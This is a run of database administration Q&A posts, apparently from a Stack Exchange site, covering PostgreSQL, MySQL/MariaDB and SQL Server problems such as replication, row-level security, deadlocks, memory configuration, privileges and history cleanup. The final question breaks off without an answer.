    WARNING: following issues were detected
      - node "psql01" (ID: 1) is running but the repmgr node record is inactive

I try to put my old primary to standby with the following commands:

-bash-4.2$ repmgr -f /var/lib/pgsql/repmgr/repmgr.conf node service --action=stop --checkpoint
NOTICE: issuing CHECKPOINT
DETAIL: executing server command "sudo systemctl stop postgresql-11"

-bash-4.2$ repmgr -f /var/lib/pgsql/repmgr/repmgr.conf -d 'host=psql01 user=repmgr dbname=repmgr' node rejoin
ERROR: connection to database failed
DETAIL:
could not connect to server: Connection refused
        Is the server running on host "psql01" (172.16.11.171) and accepting
        TCP/IP connections on port 5432?

What's exaclty happen? If psql01 goes down how can I change the role to secondary?

On postgresql12:

systemctl stop postgresql-12.service

/usr/pgsql-12/bin/repmgr -f /etc/repmgr/12/repmgr.conf node rejoin --force-rewind --verbose -d 'host= psql02 user=repmgr dbname=repmgr connect_timeout=2' --dry-run


Find out MySQL index size for a concrete index In MySQL, for InnoDB engine, how do I find out the size of one of the indexes I have in the same table ?

I know I can select the index_length from information_schema.tables, but this gives the total size of all indexes in the table.

Let's suppose I have a table with PK index, several FK indexes and unique constraints, etc. Can I find out the size of one of those indexes only? Let's say, I'd like to know the size of the PK index only.

There appears to be no way to get the answer out of mysql directly; however you can do a pretty good job of estimating it:

For innodb, PRIMARY index is part of the data itself and shows up in data_length.  If a table has no other indexes index_length is 0.

For every row in your table, every non-PRIMARY (UNIQUE or INDEX) index stores

6 bytes overhead
every column indexed
every column in PRIMARY not already in the index
1 bit per possible NULL column, rounded up to the byte

The size of a column in an index is the space the actual data takes up plus 1 or 2 bytes of length per VARCHAR/TEXT/BLOB.  NULLs take no space.

There is an additional overhead of about 1.4x to 2.8x for the B-tree pages and non-full leaf pages.  In my databases it looks to be around 2x usually.

FKs should not have any space overhead beyond the index they require.

mysql docs - source


Duplicate delete query in binary log of MySQL Master We are facing a strange problem, while replicating data from master to slave. Same data is being deleted twice in log (however, only one row is deleted and one time), due to which we are getting error while replicating:

# at 28651234
#150423 12:21:03 server id 5170  end_log_pos 28651303 CRC32 0x0b496431  Delete_rows: table id 73 flags: STMT_END_F
### DELETE FROM `oauth`.`AccessToken_scopes`
### WHERE
###   @1=1040103520
###   @2='wallet'
### DELETE FROM `oauth`.`AccessToken_scopes`
### WHERE
###   @1=1040103520
###   @2='wallet'

To avoid this,we currently have added below parameter in my.cnf file:

slave-skip-errors

slave-skip-errors can hide even serious errors; don't do it.

Turn on the "general log" briefly.  This should capture a little more info about where the duplicate DELETE is coming from.  One of two things will happen:

There will be two DELETEs in the general log, too.  This will point at the application for issuing the delete twice.
There will be one in the general log but two in the binlog.  In this case, move on to the next step.

Do you have the binlog for replication?  If so, turn on the general log on a Slave to see if the duplicate stuff in the binlog really represents two DELETEs, not just some kind of stuttering in mysqlbinlog.

In any case file a bug report at bugs.mysql.com; the different paths give you different ways to complain.


restrict data from select with Row-Level Security when updating I want to create an ordered list of labeltext, so I wrote the following initial script:
Schema (PostgreSQL v10.0)

create table tbl1 (
  uid text primary key /* user id */
);
create table tbl2 (
  uid text not null default current_setting('custom.setting.uid', true)::text,
  order_id int not null,
  labeltext text,
  foreign key (uid) references tbl1 (uid) on delete cascade
);

INSERT INTO tbl1 (uid) VALUES ('boom');
INSERT INTO tbl1 (uid) VALUES ('bang');
INSERT INTO tbl1 (uid) VALUES ('bash');

alter table tbl2 enable row level security;
  create policy all_order on tbl2 for all
    using (uid = current_setting('custom.setting.uid', true)::text)
    with check (uid = current_setting('custom.setting.uid', true)::text);

create or replace function tfn(text) returns int as $$
declare
tmp int;
begin
insert into tbl2(order_id, labeltext)
  select coalesce(
      (select order_id
        from tbl2
          order by order_id desc limit 1
      ),
      0
    ) + 1, $1
    returning order_id into tmp;
return tmp;
end;
$$ language plpgsql;

set custom.setting.uid to 'boom';
show custom.setting.uid;
select tfn('foo');
select tfn('bar');
set custom.setting.uid to 'bang';
select tfn('baz');

tfn expected to get the greatest order_id for current user and insert some new labeltext with the increased order_id.
but however, the results look different:

**Query #1**

    select * from tbl2;

| uid  | order_id | labeltext |
| ---- | -------- | --------- |
| boom | 1        | foo       |
| boom | 2        | bar       |
| bang | 3        | baz       |

View on DB Fiddle

expect row created by user bang to have order_id = 1, but actually...
it's still able to select other user's order_id without restrictions

How to use RLS to limit the selection of order_id when updating?
If this isn't doable with RLS, any alternative?

By default, row level security does not apply to the owner of the table.

If you want that, you got to

ALTER TABLE tbl2 FORCE ROW LEVEL SECURITY;

There are some other settings that may cause RLS not to be used:

If the configuration parameter row_security is off.
If the user is a superuser.
If the user was created with BYPASSRLS.


Weird memory pressure for SQL Server 2016 We have been battling an issue with weird memory pressure on a specific server for a couple of months now.  Here's what the last incident looked like in SentryOne:

System Memory

SQL Server Memory

Memory Configuration:

Total Server Memory - 96GB
Max Server Memory - 84GB

The reason why this seems weird is that, if it were external memory pressure I'd expect the Other category on System Memory to grow during this, which is doesn't.

Part of what we see happen during this time is that queries end up generating bad plans and end up causing performance issues for the app.  Historically, running DBCC FreeProcCache during this situation has alleviated the pressure, but we still don't know the cause.  I think the plans getting a bad plan is a symptom rather than a cause of this issue, but I may be wrong.

Things that we have done to try and resolve this issue:

Removed a join in what we thought was the problematic sp
Deleted duplicate records in the database
Increased memory on the server (I think we added 16-32 gb)
Enabled Lock Pages In Memory

I am at a complete loss as to what to look at next.  Our architect thinks we might need to fiddle with some VM settings with memory, but we aren't there yet.

What can I look at to potentially fix this weird memory pressure issue?

There is a cool article by Jonathan Kehayias on SQL SQLSkills.com with the title Wow… An online calculator to misconfigure your SQL Server memory!.

In his article Jonathan writes:

  My general recommendation is to use the calculation from my book, Troubleshooting SQL Server: A Guide for the Accidental DBA, which is to reserve 1 GB of RAM for the OS, 1 GB for each 4 GB of RAM installed from 4–16 GB, and then 1 GB for every 8 GB RAM installed above 16 GB RAM.  This isn’t an overly technical calculation but it has worked well and is generally going to configure ‘max server memory’ low enough that the server will be stable and have reliable performance.

If you follow on with this example, then you might be better off with configuring your SQL Server to run with a max_memory setting of 81 GB.

You can create an Excel to produce a nice little graph of SQL Server Max Memory settings with the following formulas and data.

The Excel Sheet starts of with a HW Memory (A2) column:

4

The Excel formula for the second column OS Reserved (B2) is:

IF(A2<=16;1 + A2/4;1+4+(A2-16)/8)

The SQL Memory column (C2) is then:

A1-A2

This produces the following chart:

Possible Solution

As you can see, if you have 96 GB of RAM, then you should reserve 15 GB for the OS and set the SQL Memory (max_memory) to 81 GB.

Jonathan goes on to explain in his article that ...

  SQL Server has a built-in component of the SQLOS, the Resource Monitor, that monitors the QueryMemoryResourceNotification Windows Server API to get status about the OS level memory availability on the server.  If the Windows OS is under memory pressure, it will set a low memory notification that the Resource Monitor thread will detect and force the external clock hands on the caches internally to begin sweeps of the caches to cleanup and reduce memory usage allowing the process to free memory back to the OS.

Your OS might not have enough memory and is taking the memory away from the SQL Server OS.

Slightly reducing your max_memory setting to 81 GB will allow the OS and other SQL Server components that don't run inside the max_memory setting to have enough RAM.

Your mileage may vary


How to get rows containing ONLY certain strings? I have these words in my words table in a MySQL db:

kaki

koku

kao

kakeru

How can I get all rows that contains ONLY 'ka','ki','ku','ke','ko'?

I want to get kaki and koku but not kao and kakeru, because although kao contains ka, it also has o, and although kakeru contains ka and ke it also contains ru.

I have tried:

select *
from words
where (
    word like '%ka%'
    or word like '%ki%'
    or word like '%ku%'
    or word like '%ke%'
    or word like '%ko%'
    );

but I don't get the result that I want.

EDIT: I can't comment, but yes I want to break it into 2 syllables.

Try some REPLACE() tricks:

SELECT *
FROM #words
WHERE REPLACE(
    REPLACE(
    REPLACE(
    REPLACE(
    REPLACE(
    word
    ,'ka','')
    ,'ke','')
    ,'ki','')
    ,'ko','')
    ,'ku','')
    = '';


Load balancing incoming data using offset / increment vs group replication I have a service that accepts large quantities of incoming JSON data from multiple sources. A single client will put a load of about 3.0 on a server, primarily from the Apache service, but also Mysql.

To balance this, I created a master-master relationship between 2 servers where they were each masters of each other, and slaves of each other. They both had auto_increment set to 2 with server one having an offset of 1, and server 2 having an offset of 2.

This resulted in server1 handling all incoming requests and writing odd number rows, and server2 doing the same and writing even number rows but now I have twice the processing power for Apache and can offload the non-time sensitive processes to servers not powering the main website.

The thought was that as we grew beyond 2 servers, we could increase the increment value to 10 and do offsets of 1-10 for each server. I could then adjust the MASTER_DELAY to reduce total connections so it could batch things in groups instead of individual queries.

I tasked a new employee to improve historical backups and in the process he started working on reworking the entire system to do group replication, which sounds great for redundant data, but he is telling me it will also be a solution for load balancing.

Is this a realistic solution / improvement that scales with 2-10+ servers simultaneously receiving hundreds of thousands of rows of content with foreign key pairs or should I go back to my previous setup? I don't understand how it would keep things straight without adjusting the autoincrement like I did with so much simultaneous writing.

Any multi-master setup has this limitation:  Every row inserted on the original master must also be inserted on each other Master (and each Slave, if you have them).

That is, without "Sharding", you cannot get much more write scaling than with a single Master.  (Read scaling is a different topic.)

Let me backtack a little bit.  If the Master needs to do more prep work than actual INSERTing, then having more Masters is beneficial.  (This does not sound like your situation.)

Yes (to one thing) -- you can do some load balancing with any multi-Master setup (Group Repl, Galera, M-M) -- both writes and reads.  It usually requires a proxy between the clients and Masters.  I strongly recommend a simple round-robin algorithm; other algorithms can't measure the "load" fast enough to make a difference.

All(?) multi-Master setups (assuming you use AUTO_INCREMENT) depend on auto_increment_increment being at least the number of Masters.  (So, 'yes' to your note about offsets and increments.)  But, that does not necessarily deal with other unique keys, or with normalization ids.

Give us some numbers.  You make it sound like you are inserting a terabyte every few weeks?  There are a lot things that need discussing is such a situation (SSDs, network bandwidth, contention, RAID, etc).  How many rows per second?  How much prep work?  Are you already "batching" the INSERTs?

Here are my recommendations High Speed Ingestion .


apparmor prevents mysql from starting I am trying to start mysql 5.5 service on ubuntu 14.04 but it fails.
I noticed in dmesg the following error:
[ 1201.519101] init: mysql post-start process (22140) terminated with status 1
[ 1201.539004] init: mysql main process (22165) terminated with status 1
[ 1201.539016] init: mysql main process ended, respawning
[ 1201.542554] init: mysql post-start process (22166) terminated with status 1
[ 1201.562121] init: mysql main process (22196) terminated with status 1
[ 1201.562134] init: mysql respawning too fast, stopped

How can I address this?
I recently made some changes to my.cnf to innodb - related configuration in case if this is causing the issue:
# Read the manual for more InnoDB related options. There are many!
innodb_read_io_threads          = 16
innodb_write_io_threads         = 16  #To stress the double write buffer
innodb_buffer_pool_size         = 28000M
# innodb_log_file_size          = 256M #Small log files, more page flush
innodb_log_files_in_group       = 2
innodb_file_per_table           = 1
# innodb_log_buffer_size            = 512M
innodb_flush_method         = O_DIRECT
innodb_flush_log_at_trx_commit      = 0
innodb_file_format          = BARRACUDA
# innodb_log_file_size          = 512M

Search the web for

mysql apparmor

There are lots of solutions out there.  A couple of possibilities:
https://askubuntu.com/a/953988
https://serverfault.com/questions/896653/how-do-i-get-the-right-apparmor-profile-for-mysql-on-ubuntu

You should not need to disable or remove apparmor


deadlock in mariadb: with non-index & fk table when i try to do an operation concurrently, there exists an deadlock from mariadb show engine innodb status, the deadlock log is as follows

------------------------
LATEST DETECTED DEADLOCK
------------------------
160929  7:43:35
*** (1) TRANSACTION:
TRANSACTION 151E3D3, ACTIVE 48 sec inserting
mysql tables in use 1, locked 1
LOCK WAIT 16 lock struct(s), heap size 3112, 10 row lock(s), undo log entries 9
MySQL thread id 9, OS thread handle 0x7f35529ef700, query id 9966 localhost 127.0.0.1 root update
insert into t_st_storage_adapter_host_scsi_disk (storage_adapter_id, host_scsi_disk_id) values ('e487a58a5774ddf0015774e5c43d00bc', 'e487a58a5774ddf0015774e5da2800d3')
*** (1) WAITING FOR THIS LOCK TO BE GRANTED:
RECORD LOCKS space id 0 page no 814 n bits 96 index `fk_storage_adapter_host_scsi_disk_storage_adapter` of table `ics`.`t_st_storage_adapter_host_scsi_disk` trx id 151E3D3 lock_mode X locks gap before rec insert intention waiting
*** (2) TRANSACTION:
TRANSACTION 151E3D0, ACTIVE 48 sec fetching rows
mysql tables in use 1, locked 1
21 lock struct(s), heap size 3112, 35 row lock(s), undo log entries 26
MySQL thread id 7, OS thread handle 0x7f355295d700, query id 10345 localhost 127.0.0.1 root updating
delete from t_st_storage_adapter_host_scsi_disk where storage_adapter_id='e487a58a5774ddf0015774e5c7b900c1'
*** (2) HOLDS THE LOCK(S):
RECORD LOCKS space id 0 page no 814 n bits 96 index `fk_storage_adapter_host_scsi_disk_storage_adapter` of table `ics`.`t_st_storage_adapter_host_scsi_disk` trx id 151E3D0 lock_mode X
*** (2) WAITING FOR THIS LOCK TO BE GRANTED:
RECORD LOCKS space id 0 page no 812 n bits 96 index `GEN_CLUST_INDEX` of table `ics`.`t_st_storage_adapter_host_scsi_disk` trx id 151E3D0 lock_mode X waiting
*** WE ROLL BACK TRANSACTION (1)

the table  t_st_storage_adapter_host_scsi_disk is a relation table for t_st_storage_adapter & t_st_host_scsi_disk. non primary key or unique key is create on this table.

| t_st_storage_adapter_host_scsi_disk | CREATE TABLE `t_st_storage_adapter_host_scsi_disk` (
  `host_scsi_disk_id` varchar(36) COLLATE utf8_bin NOT NULL,
  `storage_adapter_id` varchar(36) COLLATE utf8_bin NOT NULL,
  KEY `fk_storage_adapter_host_scsi_disk_hostscsidisk` (`host_scsi_disk_id`),
  KEY `fk_storage_adapter_host_scsi_disk_storage_adapter` (`storage_adapter_id`),
  CONSTRAINT `fk_storage_adapter_host_scsi_disk_hostscsidisk` FOREIGN KEY (`host_scsi_disk_id`) REFERENCES `t_st_host_scsi_disk` (`id`),
  CONSTRAINT `fk_storage_adapter_host_scsi_disk_storage_adapter` FOREIGN KEY (`storage_adapter_id`) REFERENCES `t_st_storage_adapter` (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_bin |

and the fk column are both uuid.

when i do a business operation, repeatable delete & insert sql(determined by orm hibernate's mechanism) on this table will be executed. when try to delete the sql is like

delete from t_st_storage_adapter_host_scsi_disk where storage_adapter_id='e482964a57d370280157d3726aba0037'

and deadlock will occur in most cases. so why will the deadlock happens and what can i do to prevent this deadlock?

the isolation level is RR, and the innodb_locks_unsafe_for_binlog is OFF.

and i have no idea on:
1. Is there exists obvious difference between the hidden clustered index generated automatically by innodb (see mysql docs) and the pk?
2. As the sql shows above, why fk lock and hidden clustered index lock will conflict? the business code operate the table t_st_storage_adapter_host_scsi_disk in different storage_adapter_id in one thread. and when i do some test, the lock won't happens in such situation.

thanks a lot in advance.

i don't know the reason but after add a pk on this table, the problem has been fixed.So as the docs from the mysql above, which difference lead to the deadlock happen between pk and the auto generate cluster_index by innodb?

The lack of a PK is a serious problem.  But there are other problems with the many:many table.  See here for 7 tips on an efficient mapping table.  In particular, you do need a composite PRIMARY KEY in order to prevent inserting duplicates.  At that point, INSERT IGNORE (or other techniques) can be efficiently used.


Role, whose name doesn't match database name, can't access the database Role app can access database app. But role app2 can't. I don't see any specific privileges for role app, and it's not an owner according to \l:

app2=> \l

      Name       |  Owner   | Encoding |   Collate   |    Ctype    |    Access privileges
-----------------+----------+----------+-------------+-------------+--------------------------
 app             | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | =Tc/postgres            +
                 |          |          |             |             | postgres=CTc/postgres   +
                 |          |          |             |             | app=CTc/postgres        +
                 |          |          |             |             | app2=CTc/postgres
...

app2=> \dp
                                               Access privileges
 Schema |                    Name                     |   Type   | Access privileges | Column access privileges
--------+---------------------------------------------+----------+-------------------+--------------------------
 public | access_users                                | table    |                   |
 public | access_users_id_seq                         | sequence |                   |
...

app2=> select * from users;
ERROR:  permission denied for relation users

Why role app is able to access database? What can I check?

As it sounds, the tables (not necessary the database) is owned by the app user.  This is what the documentation tells about this:

  If the "Access privileges" column is empty for a given object, it means the object has default privileges (that is, its privileges column is null). Default privileges always include all privileges for the owner, and can include some privileges for PUBLIC depending on the object type, as explained above.

As nothing is displayed under "Access privileges" in the \dp output, and the app user can read from and write to the table, it is clear that it's the owner.  One can prove this, for example, by issuing \dt access_users, which should return something like

        List of relations
 Schema │ Name         │ Type  │ Owner
────────┼──────────────┼───────┼───────
 public │ access_users │ table │ app

This also means (not surprisingly), that no other user (except superusers and the members of the app role) has access to the tables.  If you want app2 to have some rights on them (and future tables), an earlier answer of mine might be interesting.


Is it possible to configure multiple database mail id in single account name in sql server 2012? I would like to say that as i want to configure multiple database mail in single account name in sql server 2012.

This is SQL-Cluster-DB , so as per direction from head, If any sql job will fail , then notification should be myself (i,e; DBA) as well as System Administrator.

For single account name , a single email id is working properly.  when i am going to change 'Outgoing mail server (SMTP)' with one mail id to two mail id like this way:

Outgoing mail server (SMTP)
Email address : first mail id; second mail id
display name : MS SQL Server 2012 Backup notification
reply e-mail : first mail id; second mail id
Server name : (My company mail server)                    Port NO:(my company smtp mail port no)

After configuration of multiple mail id in email address , i am getting this error

  The mail could not be sent to the recipients because of the mail
  server failure. (Sending Mail using Account 1 (2015-12-02T10:36:37).
  Exception Message: Cannot send mails to mail server. (The specified
  string is not in the form required for an e-mail address.). )

when i am remove one email id from email address as well as reply e-mail of SMTP require configuration , then test mail is working properly.

My Question is like that:
1) Is it possible to configure multiple emailid alert notification in a single account
) Again required 'second account name' for second email alert notification.

My Working environment of SQL server 2012 is like that :

1) windows server 2012 R2
1) Microsoft SQL Server Standard (64-bit)
3)SQL Server is in Cluster Environment (that's why multiple sql alerts notification required)
4)System is in Domain environment.
5)It's Online Server

Any suggestion or help will be appreciated.

Create Database Email operator

Step 1:

Step 2:

Step 3:

One More step enable Sql Server Agent properties for notifying alerts and restart agent once these properties are settled.

Sql Server Agent  -> Properties ->


Where column not like multiple values I am trying to select records in a postgresql db where username is not like a list of strings.

SELECT * FROM rails_db WHERE username NOT LIKE 'j%' AND username NOT LIKE '%eepy%';

The issue is there are a lot of these values. Is there a way to create an array of those and say something like:

SELECT * FROM rails_db WHERE username NOT LIKE ARRAY[my values];

You almost had the correct syntax.  This is exactly what you want:

SELECT * FROM rails_db WHERE username NOT LIKE ALL(ARRAY[my values]);

This is a very nice syntax, but it won't necessarily be fast, especially not if the array is large.  However, what you want is hard to optimize for performance, and there is no reason to think uglier syntaxes will be any faster.


Where to look for Agent history in Replication? In SQL server 2008R2 replication configuration, "agent history cleanup distribution" job by default runs every 10 minutes and deletes any historical data older the 48hrs. If I increase the retention parameter for > 48hrs to access that historical data, where will that data be saved by default ?

where will that data be saved by default ?

Agent history clean up: distribution calls

EXEC [distribution_db_name].dbo.sp_MShistory_cleanup @history_retention = 48

This PROC deletes from MSsnapshot_history , MSlogreader_history, MSdistribution_history, MSqreader_history and MSmerge_history and bunch of other tables.

This is the entire code for a ready reference :

CREATE PROCEDURE sp_MShistory_cleanup
(
    @history_retention int = 24
)
AS
BEGIN
    DECLARE @cutoff_time datetime
                ,@replerr_cutoff datetime
                ,@start_time datetime
                ,@num_snapshot_rows int
                ,@num_logreader_rows int
                ,@num_distribution_rows int
                ,@num_replerror_rows int
                ,@num_queuereader_rows int
                ,@num_alert_rows int
                ,@num_tracer_record_rows int
                ,@num_milliseconds int
                ,@num_seconds float
                ,@seconds_str nvarchar(10)
                ,@rate int
                ,@retcode int
                ,@total_rows int
                ,@num_merge_rows int
                ,@num_merge_deleted_articlehistory int
                ,@agent_name nvarchar(255)
                ,@agent_type nvarchar(100)
                ,@message nvarchar(255)
                ,@agent_id int
                ,@error int

    SET NOCOUNT ON

    -- Check for invalid parameter values
    IF @history_retention < 0
    BEGIN
        RAISERROR(14106, 16, -1)
        RETURN 1
    END

    -- Get start time for statistics at the end
    -- Get cutoff time
    -- cleanup MSrepl_error with HistoryRetention+30 days
    SELECT @start_time                          = getdate(),
            @num_snapshot_rows                  = 0,
            @num_logreader_rows                 = 0,
            @num_distribution_rows              = 0,
            @num_merge_rows                     = 0,
            @num_replerror_rows                 = 0,
            @num_queuereader_rows               = 0,
            @num_merge_deleted_articlehistory   = 0,
            @cutoff_time                        = dateadd(hour, -@history_retention, getdate()),
            @replerr_cutoff                     = dateadd(hour, -@history_retention - 30*24, getdate())

    DECLARE #crSnapshotAgents CURSOR LOCAL FAST_FORWARD FOR
        SELECT id
            FROM MSsnapshot_agents

    OPEN #crSnapshotAgents

    FETCH #crSnapshotAgents INTO @agent_id
    WHILE @@FETCH_STATUS <> -1
    BEGIN

        -- Delete sp_MSsnapshot_history (leave at least one row for monitoring)
        DELETE MSsnapshot_history
            WHERE agent_id = @agent_id
                AND time <= @cutoff_time
                AND timestamp not in (SELECT max(timestamp)
                                        FROM MSsnapshot_history
                                        WHERE agent_id = @agent_id)
            OPTION(MAXDOP 1)

        SELECT @error = @@error, @num_snapshot_rows = @num_snapshot_rows + @@rowcount
        IF @error <> 0
            GOTO FAILURE

        FETCH #crSnapshotAgents INTO @agent_id
    END

    CLOSE #crSnapshotAgents
    DEALLOCATE #crSnapshotAgents

    -- Delete sp_MSsnapshot_history that no longer has an MSsnapshot_agent entry
    DELETE FROM MSsnapshot_history
        WHERE NOT EXISTS (SELECT *
                            FROM MSsnapshot_agents
                            WHERE id = agent_id)
        OPTION(MAXDOP 1)
    SELECT @error = @@error, @num_snapshot_rows = @num_snapshot_rows + @@rowcount
    IF @error <> 0
        GOTO FAILURE

    -- Delete sp_MSlogreader_history (leave at least one row for monitoring)
    DECLARE #crLogreaderAgents CURSOR LOCAL FAST_FORWARD FOR
        SELECT id
            FROM MSlogreader_agents

    OPEN #crLogreaderAgents

    FETCH #crLogreaderAgents INTO @agent_id
    WHILE @@FETCH_STATUS <> -1
    BEGIN

        -- Delete sp_MSsnapshot_history (leave at least one row for monitoring)
        DELETE MSlogreader_history
            WHERE agent_id = @agent_id
                AND time <= @cutoff_time
                AND timestamp not in (SELECT max(timestamp)
                                        FROM MSlogreader_history
                                        WHERE agent_id = @agent_id)
            OPTION(MAXDOP 1)
        SELECT @error = @@error, @num_logreader_rows = @num_logreader_rows + @@rowcount
        IF @error <> 0
            GOTO FAILURE

        FETCH #crLogreaderAgents INTO @agent_id
    END

    CLOSE #crLogreaderAgents
    DEALLOCATE #crLogreaderAgents

    -- Delete sp_MSlogreader_history that no longer has an MSlogreader_agent entry
    DELETE FROM MSlogreader_history
        WHERE NOT EXISTS (SELECT *
                            FROM MSlogreader_agents
                            WHERE id = agent_id)
        OPTION(MAXDOP 1)
    SELECT @error = @@error, @num_logreader_rows = @num_logreader_rows + @@rowcount
    IF @error <> 0
        GOTO FAILURE

    -- Delete sp_MSdistribution_history (leave at least one row for monitoring)
    DECLARE #crDistribAgents CURSOR LOCAL FAST_FORWARD FOR
        SELECT id
            FROM MSdistribution_agents

    OPEN #crDistribAgents

    FETCH #crDistribAgents INTO @agent_id
    WHILE @@FETCH_STATUS <> -1
    BEGIN

        -- Delete sp_MSsnapshot_history (leave at least one row for monitoring)
        DELETE MSdistribution_history
            WHERE agent_id = @agent_id
                AND time <= @cutoff_time
                AND timestamp not in (SELECT max(timestamp)
                                        FROM MSdistribution_history
                                        WHERE agent_id = @agent_id)
            OPTION(MAXDOP 1)
        SELECT @error = @@error, @num_distribution_rows = @num_distribution_rows + @@rowcount
        IF @error <> 0
            GOTO FAILURE

        FETCH #crDistribAgents INTO @agent_id
    END

    CLOSE #crDistribAgents
    DEALLOCATE #crDistribAgents

    -- Delete sp_MSlogreader_history that no longer has an MSlogreader_agent entry
    DELETE FROM MSdistribution_history
        WHERE NOT EXISTS (SELECT *
                            FROM MSdistribution_agents
                            WHERE id = agent_id)
        OPTION(MAXDOP 1)
    SELECT @error = @@error, @num_distribution_rows = @num_distribution_rows + @@rowcount
    IF @error <> 0
        GOTO FAILURE

    -- Delete MSqreader_history (leave at least one row for monitoring)
    DECLARE #crQreaderAgents CURSOR LOCAL FAST_FORWARD FOR
        SELECT id
            FROM MSqreader_agents

    OPEN #crQreaderAgents

    FETCH #crQreaderAgents INTO @agent_id
    WHILE @@FETCH_STATUS <> -1
    BEGIN

        -- Delete sp_MSsnapshot_history (leave at least one row for monitoring)
        DELETE MSqreader_history
            WHERE agent_id = @agent_id
                AND time <= @cutoff_time
                AND timestamp not in (SELECT max(timestamp)
                                        FROM MSqreader_history
                                        WHERE agent_id = @agent_id)
            OPTION(MAXDOP 1)
        SELECT @error = @@error, @num_queuereader_rows = @num_queuereader_rows + @@rowcount
        IF @error <> 0
            GOTO FAILURE

        FETCH #crQreaderAgents INTO @agent_id
    END

    CLOSE #crQreaderAgents
    DEALLOCATE #crQreaderAgents

    -- Delete sp_MSlogreader_history that no longer has an MSlogreader_agent entry
    DELETE FROM MSqreader_history
        WHERE NOT EXISTS (SELECT *
                            FROM MSqreader_agents
                            WHERE id = agent_id)
        OPTION(MAXDOP 1)
    SELECT @error = @@error, @num_queuereader_rows = @num_queuereader_rows + @@rowcount
    IF @error <> 0
        GOTO FAILURE

    -- Delete sp_MSmerge_history (leave at least one row for monitoring)
    -- Leave last record ONLY if the agent is not anonymous.  The current logic is to remove all history for anonymous
    -- subscription, the agent definition will also be removed below.
    -- use session id
    DELETE dbo.MSmerge_history
        FROM dbo.MSmerge_history msmh
            JOIN dbo.MSmerge_sessions msms
                ON msmh.session_id = msms.session_id
        WHERE msms.end_time <= @cutoff_time
        OPTION(MAXDOP 1)
    SELECT @error = @@error, @num_merge_rows = @num_merge_rows + @@rowcount
    IF @error <> 0
        GOTO FAILURE

    -- Delete sp_MSmerge_history that no longer has an MSmerge_agent entry
    DELETE FROM dbo.MSmerge_history
        WHERE NOT EXISTS (SELECT *
                            FROM dbo.MSmerge_agents
                            WHERE id = agent_id)
        OPTION(MAXDOP 1)
    SELECT @error = @@error, @num_merge_rows = @num_merge_rows + @@rowcount
    IF @error <> 0
        GOTO FAILURE

    -- Delete MSrepl_error entries
    DELETE FROM MSrepl_errors
        WHERE time <= @replerr_cutoff
        OPTION(MAXDOP 1)
    SELECT @error = @@error, @num_replerror_rows = @@rowcount
    IF @error <> 0
        GOTO FAILURE

    -- similiar to above time based cleanup, we need to clean up added tables
    DELETE dbo.MSmerge_articlehistory
        FROM dbo.MSmerge_articlehistory msmah
            JOIN dbo.MSmerge_sessions msms
                ON msmah.session_id = msms.session_id
        WHERE msms.end_time <= @cutoff_time
        OPTION(MAXDOP 1)
    SELECT @error = @@error, @num_merge_deleted_articlehistory = @num_merge_deleted_articlehistory + @@rowcount
    IF @error <> 0
        GOTO FAILURE

    DELETE FROM dbo.MSmerge_sessions
        WHERE end_time <= @cutoff_time
            AND session_id NOT IN (SELECT max(session_id)
                                    from dbo.MSmerge_sessions
                                    group by agent_id)
        OPTION(MAXDOP 1)
    SELECT @error = @@error, @num_merge_rows = @num_merge_rows + @@rowcount
    IF @error <> 0
        GOTO FAILURE

    -- Delete MSmerge_sessions that no longer has an MSmerge_agent entry
    DELETE FROM dbo.MSmerge_sessions
        WHERE NOT EXISTS (SELECT *
                            FROM dbo.MSmerge_agents
                            WHERE id = agent_id)
        OPTION(MAXDOP 1)
    SELECT @error = @@error, @num_merge_rows = @num_merge_rows + @@rowcount
    IF @error <> 0
        GOTO FAILURE

    -- Delete sysreplicationalerts table
    DELETE FROM msdb.dbo.sysreplicationalerts
        WHERE time <= @cutoff_time
        OPTION(MAXDOP 1)
    SELECT @error = @@error, @num_alert_rows = @@rowcount
    IF @error <> 0
        GOTO FAILURE

    -- Delete Tracer Record history rows
    EXEC @error = sys.sp_MSdelete_tracer_history @cutoff_date = @cutoff_time, @num_records_removed = @num_tracer_record_rows output
    IF @error <> 0
        GOTO FAILURE

    -- Calculate statistics for number of rows deleted
    SELECT @num_milliseconds = datediff(millisecond, @start_time, getdate())
    IF @num_milliseconds <> 0
        SELECT @num_seconds = @num_milliseconds*1.0/1000
    ELSE
        SELECT @num_seconds = 0

    SELECT @total_rows = @num_merge_rows +
                            @num_merge_deleted_articlehistory +
                            @num_snapshot_rows +
                            @num_logreader_rows +
                            @num_distribution_rows +
                            @num_queuereader_rows +
                            @num_replerror_rows +
                            @num_alert_rows +
                            @num_tracer_record_rows

    IF @num_seconds <> 0
        SELECT @rate = @total_rows/@num_seconds
    ELSE
        SELECT @rate = @total_rows

    SELECT @seconds_str = CONVERT(nchar(10), @num_seconds)

    RAISERROR(14108, 10, -1, @num_merge_rows, 'MSmerge_history')
    RAISERROR(14108, 10, -1, @num_merge_deleted_articlehistory, 'MSmerge_articlehistory')
    RAISERROR(14108, 10, -1, @num_snapshot_rows, 'MSsnapshot_history')
    RAISERROR(14108, 10, -1, @num_logreader_rows, 'MSlogreader_history')
    RAISERROR(14108, 10, -1, @num_distribution_rows, 'MSdistribution_history')
    RAISERROR(14108, 10, -1, @num_queuereader_rows, 'MSqreader_history')
    RAISERROR(14108, 10, -1, @num_replerror_rows, 'MSrepl_errors')
    RAISERROR(14108, 10, -1, @num_alert_rows, 'sysreplicationalerts')
    RAISERROR(14108, 10, -1, @num_tracer_record_rows, 'MStracer_tokens')
    RAISERROR(14149, 10, -1, @total_rows, @seconds_str, @rate)

    RETURN 0
FAILURE:
    -- Raise the Agent Failure error
    SELECT @agent_type  = formatmessage(20544),
            @agent_name = db_name() + @agent_type,
            @message    = formatmessage(20553)

    EXEC sys.sp_MSrepl_raiserror @agent_type, @agent_name, 5, @message

    RETURN 1
END


HashBytes Computed Column: Exclude Column We want to create Hashbytes computed column Non-Persisted. Table has twenty columns, and would like to exclude IdentityId column. How could I do this in computed column? Is there a SQL library function to exclude certain column? Purpose is for easy maintenance and as columns get added, don't want developers to forget adding extra columns. So hashbyte should always take all columns, exclude identity.

This is manual way typing all the columns:

CREATE TABLE [dbo].[CustomerTransactiont]
(
    CustomerTransactionId int primary key identity(1,1),
    CustomerName varchar(255),
    Price decimal(10,2),
    Quantity int,...
    .....
    RowHash as hashbytes('SHA2_512', CONCAT(CustomerName,'|'
                                                ,Price), '|'
                                                ,Quantity), '|'...
                                                ))
)

Reference:
